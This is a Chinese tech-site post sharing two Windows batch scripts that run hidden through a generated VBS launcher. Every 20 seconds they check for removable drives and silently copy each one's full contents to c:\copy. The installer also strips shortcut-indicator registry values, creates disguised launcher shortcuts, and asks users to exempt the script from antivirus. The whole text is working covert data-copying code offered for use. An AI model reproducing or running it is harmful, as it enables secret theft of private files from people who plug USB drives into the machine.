首页 电脑 电脑学堂 查看内容

判断U盘已插入并自动COPY所有内容的批处理-U盘自动复制

2009-9-18 14:15 963 0

摘要:   安装U盘自动复制.cmd   代码如下:   @echo off   mode con: cols=80 lines=40   color 17   :start   cls   t...

  安装U盘自动复制.cmd   代码如下:   @echo off   mode con: cols=80 lines=40   color 17   :start   cls   title $$$$*晗*晗*制*造*$$$$   echo.   echo.   echo.   echo.   echo ====================================================================   echo.   echo.   echo 安装U盘自动复制   echo.   echo 欢迎使用,请选择选项(1,2,3,4,5,6)   echo.   echo.   echo [1] 安装程序   echo [2] 运行程序   echo [3] 关闭程序   echo [4] 卸载程序   echo [5] 生成快捷方式   echo [6] 使用帮助   echo [7] X键关闭   echo.   echo.   echo.   echo    提示:如果你计算机安装有杀毒软件,请授权此VBS代码!   echo.   echo.   echo.   echo.   echo $$$ 晗晗制造,版本1.0 $$$   echo.   echo ====================================================================   echo.   set /p choice=请输入:   if {%choice%}=={} goto start   if /i %choice%==1 goto install   if /i %choice%==2 goto open   if /i %choice%==3 goto close   if /i %choice%==4 goto uninstall   if /i %choice%==5 goto shutcut   if /i %choice%==6 goto help   if /i %choice%==x goto shut   goto start   :install   rem ==============================安装程序=============================   if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd"   copy copy.cmd "%temp%\copy.cmd" >nul 2>nul   copy sleep.exe "%temp%\sleep.exe" >nul 2>nul   rem ==============================隐藏窗口=============================   if exist %temp%\hide.vbs del /Q %temp%\hide.vbs   echo.   echo 如果你计算机安装有杀毒软件,请授权此VBS代码   reg delete "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /f >nul 2>nul   reg delete "HKEY_CLASSES_ROOT\piffile" /v IsShortcut /f >nul 2>nul   set path=%temp%\copy.cmd   echo set ws=WScript.CreateObject("WScript.Shell") >"%temp%\hide.vbs"   echo ws.Run "%path%",0 >>%temp%\hide.vbs   rem ==============================建立终止=============================   echo @echo off >%temp%\kill.cmd   echo mode con: cols=20 lines=2 >>%temp%\kill.cmd   echo echo 程序已经成功终止!>>%temp%\kill.cmd   echo pause ^>nul 2^>nul >>%temp%\kill.cmd   echo tskill ping ^>nul 2^>nul >>%temp%\kill.cmd   echo tskill xcopy ^>nul 2^>nul >>%temp%\kill.cmd   echo tskill sleep ^>nul 2^>nul >>%temp%\kill.cmd   echo tskill cmd ^>nul 2^>nul >>%temp%\kill.cmd   echo exit ^>nul 2^>nul >>%temp%\kill.cmd   rem ==============================建立快捷=============================   :shutcut   echo.   if not exist "%temp%\hide.vbs" goto start   set path2=%temp%\hide.vbs   echo [InternetShortcut] >>U盘自动复制.url   echo URL="%path2%" >>U盘自动复制.url   echo IconIndex=29 >>U盘自动复制.url   echo IconFile=C:\windows\system32\shell32.dll >>U盘自动复制.url   set path3=%temp%\kill.cmd   echo [InternetShortcut] >>终止U盘自动复制.url   echo URL="%path3%" >>终止U盘自动复制.url   echo IconIndex=29 >>终止U盘自动复制.url   echo IconFile=C:\windows\system32\shell32.dll >>终止U盘自动复制.url   echo 成功结束!请直接运行快捷方式!   pause >nul 2>nul   goto start   rem ==============================安装结束=============================   :uninstall   rem ==============================卸载程序=============================   echo.   tskill ping >nul 2>nul   tskill xcopy >nul 2>nul   tskill sleep >nul 2>nul   del /Q /f "%temp%\copy.cmd" >nul 2>nul   del /Q /f "%temp%\hide.vbs" >nul 2>nul   del /Q /f "%temp%\copy.tmp" >nul 2>nul   del /Q /f "%temp%\sleep.exe" >nul 2>nul   del /Q /f "%temp%\kill.cmd" >nul 2>nul   del /Q /f U盘自动复制.url >nul 2>nul   del /Q /f 终止U盘自动复制.url >nul 2>nul   echo 程序已经成功卸载!   reg add "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /f >nul 2>nul   reg add "HKEY_CLASSES_ROOT\piffile" /v IsShortcut /f >nul 2>nul   pause >nul 2>nul   goto start   rem ==============================卸载结束=============================   :open   rem ==============================运行程序=============================   echo.   if not exist %temp%\copy.cmd goto start   "%temp%\hide.vbs"   echo 程序已经成功开始自运行(20秒扫描一次)!   pause >nul 2>nul   exit   rem ==============================运行结束=============================   :close   rem ==============================终止程序=============================   echo.   if not exist %temp%\copy.cmd goto start   echo 程序已经成功结束自运行!   pause >nul 2>nul   tskill ping >nul 2>nul   tskill xcopy >nul 2>nul   tskill sleep >nul 2>nul   tskill cmd >nul 2>nul   exit   rem ==============================终止结束=============================   :help   rem ==============================使用帮助=============================   cls   echo.   echo.   echo 本工具适用于Windows XPsp2系统,由此造成的一切损失,本人不负任何责任.   echo.   echo.   echo 使用方法: 1 点击安装程序   echo.   echo 2 如果你计算机安装有杀毒软件,请授权此VBS代码   echo.   echo 3 第一次安装可能需要先运行,然后结束一次才能生效(视系统设置而定)   echo.   echo 4 安装后请用快捷方式启动或者关闭,无需用安装程序启动   echo.   echo 5 本程序可以在U盘插入前运行,也可以在插入后运行   echo.   echo 6 点击运行程序,程序将自动每20秒执行一次   echo.   echo 7 请确保你的c:\有足够的空间,程序运行时候建议不要插移动硬盘   echo.   echo 8 请务必确认你要copy的U盘无毒   echo.   echo 9 本程序在扫描时比较占内存,建议每次使用后关闭   echo.   echo 10 建立的快捷方式,你可以改名并把它放在任何地方,包括启动菜单   echo.   echo 11 请及时清理默认保存目录c:\copy文件夹里边的文件   echo.   echo 12 本软件不保证copy数据的正确性   echo.   echo 13 本软件不要使用于非法用途   echo.   echo.   echo 本软件为免费软件欢迎大家使用   echo.   echo 按任意键返回主菜单   pause >nul 2>nul   goto start   rem ==============================帮助结束=============================   :shut   rem ==============================关闭程序=============================   exit   rem ==============================关闭结束=============================   copy.cmd   复制代码 代码如下:   @echo off   title $$$$*晗*晗*制*造*$$$$   mode con: cols=14 lines=1   :again   cls   del /Q /f "%temp%\copy.tmp" >nul 2>nul   for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"   findstr /i "可移动驱动器" "%temp%\copy.tmp"   if errorlevel==1 goto end   if errorlevel==0 goto copy   :end   rem 没有检测到可移动磁盘!   if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul   %temp%\sleep.exe 20s   goto again   :copy   if exist c:\copy goto goon   cd\   cd /d c:   md copy   :goon   for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (   xcopy /e /y %%i\*.* c:\copy >nul 2>nul   )   rem 已复制,请及时清理文件!   if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul   %temp%\sleep.exe 20s   goto again
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部